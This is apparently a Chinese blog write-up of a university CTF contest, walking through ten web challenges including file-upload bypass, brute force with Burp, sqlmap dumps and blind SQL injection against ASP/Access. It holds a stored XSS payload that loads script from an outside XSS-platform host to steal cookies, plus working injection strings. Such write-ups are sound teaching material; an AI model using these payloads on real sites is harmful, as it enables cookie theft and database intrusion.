0×00
最近有一些考试 blog 都没更 T T 计算机网络考试前一天 还在做题 真是 no zuo no die 的典范 不过今天计算机网络还是比较简单的 应该能过 比赛是四川理工的第一届比赛 http://isc.suse.edu.cn/ 10 关 最后通关了 第二名 网站没开 之后再附上一些题目的截图

0×01 js
第一题 是个源代码的问题，比较简单 发现没法右键 查看不了源码 这里可能就会有一点问题 禁用右键可以用 js 实现 所以禁用 js 一般可以 不行的话就把页面另存为 自己本地看看 在文件里有 js 里面又一段 10 进制的好像编码过的

```
1 t=″75, 101, 121, 58, 87, 101, 108, 99, 111, 109, 101, 95, 84, 111, 95, 73, 83, 67, 95,
  115, 117, 115, 101, 95, 54, 54, 54, 54, 54, 54″
```

直接解码就是 key 简单
Key:Welcome_To_ISC_suse_666666

0×02 加解密
一段 htmlencode 的东西 #x44; 一大串这样子的
把这段 htmldecode 或者是直接保存到 html 文件中 浏览器打开 就可以看到

```
1 OGZmM2I5ZmJhYWQzNDg2MGQwYmMyYTc0NDhhODdhN2I=
```

看字符范围 是大小写数字 最后还有= 位数还是 4 的倍数 base64 解密一下
8ff3b9fbaad34860d0bc2a7448a87a7b
小写加数字 32 位 cmd5 解一下 md5

youcanfindme

0×03 http
题目是要算个 5-6 位的乘法和加法 有三个数吧
本来一开始想正常编程做的 都太懒了 就放着 后来发现了时间的限制是 8 秒 就淫荡了起来
直接开谷歌 用谷歌算 计算机去也是可以了 然后用单身 20 年的手速去粘贴回去提交 7 秒 哈哈 就得到了 key
后来大家交流的时候 还发现可以直接改包修改时间
Key:Hello!*ISC++

0×04 upload
有个突破上传的
这个题多试几次 要求上传 php 文件的 才会给 key 有限制的只能上传 gif 的
然后就去研究一下源代码，发现那个检查 gif 是用了 js 来检查 然后就很简单了
用浏览器插件 firebug 去调试 js 直接改 gif 为 php chrome 和 firebug 下面都有

然后再上传一个 php 的文件上去
回显
你以为我那么好骗的吗？ 说了要上传 gif 图片的！！！
上传: Load.php 成功!!!
然后就根据这个提示 去找个 gif 的文件 改成 php 的再上传一次 估计是检验了文件幻数
回显
You Are Very GOOG!!
KEY: File_UPload!is+very-Simple!!

0×05 隐写术
题目给了个 mp3 还有一个提示 information hide， steghide
然后就是听听 mp3 吧 在 mp3 的最后给了一个密码
1314528
根据提示 去找了一下 steghide 是个隐写的工具 有下载的链接
http://sourceforge.net/projects/steghide/files/stats/timeline
下载一发
运行一下 得到了 key

key: Hello_StegHide_iS_interesting

0×06 brute
爆破题 技术难度是没什么 不过做题平台居然有安全狗 无力吐槽啊 一直被咬死
给出了字典 user pass 要你去登陆 一个爆破的问题 用 burp 就可以了
数量是 94*82=7708
设置一下 intruder 变量改改 选择 cluster bomb 可以同时使用两个不同的变量
然后再去载入他给的字典

设置好线程和时间间隔 因为有狗在所以别设置太快
pablo letmein
然后登陆就看到 key 了
key:!!Force_Crack!_IS_This*24835

0×07 XSS
一开始看到 xss 是个留言板的 xss 然后就是没有回显 提示过滤了 alert 啊 什么的 估计是要用 xss 平台去 xss 到 cookie
然后就没做 先去做了后面的 sql 注入 发现了 因为是本站 所以 sql 注入可以注入到留言板的数据库 guestbook 然后通过 guestbook 可以看到别人注入的语句 我看到前面有人做出来了 其实自己做也不难
参考了 jim 叔叔的语句
也看到 jim 叔叔试了几次 才成功 好刺激

```
<script src="http://lennyxss.sinaapp.com/3C9ee4?1399828748"
>hehe</script>
```

这个就是能成功的语句
然后去就登陆 xss 平台看看
发现了 cookie 里有 key urldecode 解密提交一下就可以
因为第一个注入可以看到 guestbook 最后还发现有人有用他们学校的服务器接受 cookie 吓尿了
key=XSS_Store_Is_*Very*_Simply

0×08 sqli
这个注入 是 get 型的 mysql 注入 因为有狗 sqlmap 也不太好用了
晚上没人的时候 丢给 sqlmap 还学习了新的 sqlmap 技巧 –delay=1 设置延迟时间为 1 秒
–dbs
–table
发现了 guestbook 还有一些 Users 表 Users2 Users3 Users4 Users5
最后在 User5 发现看 This_key
-T Users5 -C This_key –dump
key:MySQL_Inject_You_Are_Success

0×09 cookie 注入
以前就见过的老题目 大一的时候做不出来 现在会了 零魂学长出的题目 比较古老了
是个 cookie 注入 比较纠结 中转出来吧
cookie 中转成 get 好跑 sqlmap
我没中转然后丢给 sqlmap 不晓得为什么不可以 –level 2 什么的 检测一下 cookie
中转后 就是正常的注入 就是 asp+access 的列名不好猜 猜到了 admin 还有一个存了密码的 psw
然后就去跑
admin
jiubugaosuni666
网站有个后台 去登陆一下
发现提示要自己找到后台 扫一发
/manage/ 目录 然后发现目录跳转了
跳转到了首页 提示说要来自 四川理工学院
加上一条 referer

```
1 Referer: http://www.isc.suse.edu.cn/
```

还有 referer 一般在后台是用正则匹配的 所以 http://www.isc.suse.edu.cn 不行 http://www.isc.suse.edu.cn/才可以 一开始没试出来 有点坑 正则没写好
然后就跳到了真正的后台

http://yutaiyuan.f3322.org/9/admin_main5418.asp

登陆一发
在后台找到了这样子的信息

```
1 MjY1NzIwNjBkMWZmNjk4MTgxMWIwNzlkMDQxMmQ2Y2Q=
```

base64 解密
26572060d1ff6981811b079d0412d6cd
解一下 md5 就是 key 了
youareverygood

0x0A blind sqli
盲注的题目 有点纠结 观察一下是 asp 提交后的页面 title 还说是 search 明显是 asp 的搜索型注入
然后就去注入
news 是注入点
一开始没构造对 多了一个’ 还好音符牛带我飞 他会补上一个’ 我之前观察到了这个 以为会补在字符串后面 后来才知道是 wenzhang 后一位
这个是错误的 news=wenzhang’%’ and 1=1 and
‘%’=&searchs=%CB%D1++%CB%F7
正确的姿势

```
1 wenzhang%’ and 1=1 and ’%’=’
2 wenzhang%’ and 1=2 and ’%’=’
```

看看页面有注释提示 说 key 的管理员表中
manager

```
1 wenzhang%’ and (select count(*) from manager)>0 and ’%’=’
2 wenzhang%’ and (select top 1 len(id)from manager)>0 and ’%’=’
```

只知道个 id 的列
猜列名比较难 还去想偏移注入 发现都没回显 可以写脚本跑跑

```
1 wenzhang%’ and (select top 1 len(admin_psw)from manager)>6 and ’%’=’
2 wenzhang%’ and (select top 1 len(admin_psw)from manager)>7 and ’%’=’
```

发现了 admin_psw 的列名 长度为 7 手工注入一次

```
1 wenzhang%’ and (select top 1 asc(mid(admin_psw,1,1))from manager)>47
```

and ’%’=’

结果是
48 73 53 79 56 75 33
解一下 ascii 码
0I5O8K!

0x0B 后记
考试前做题 真是作死
网站有狗不科学啊 sqlmap burp 神器用得不爽
不过也学会了特殊的延时技巧
还有一些 asp+access 的特性 之前也日了一些 asp 的站 涨姿势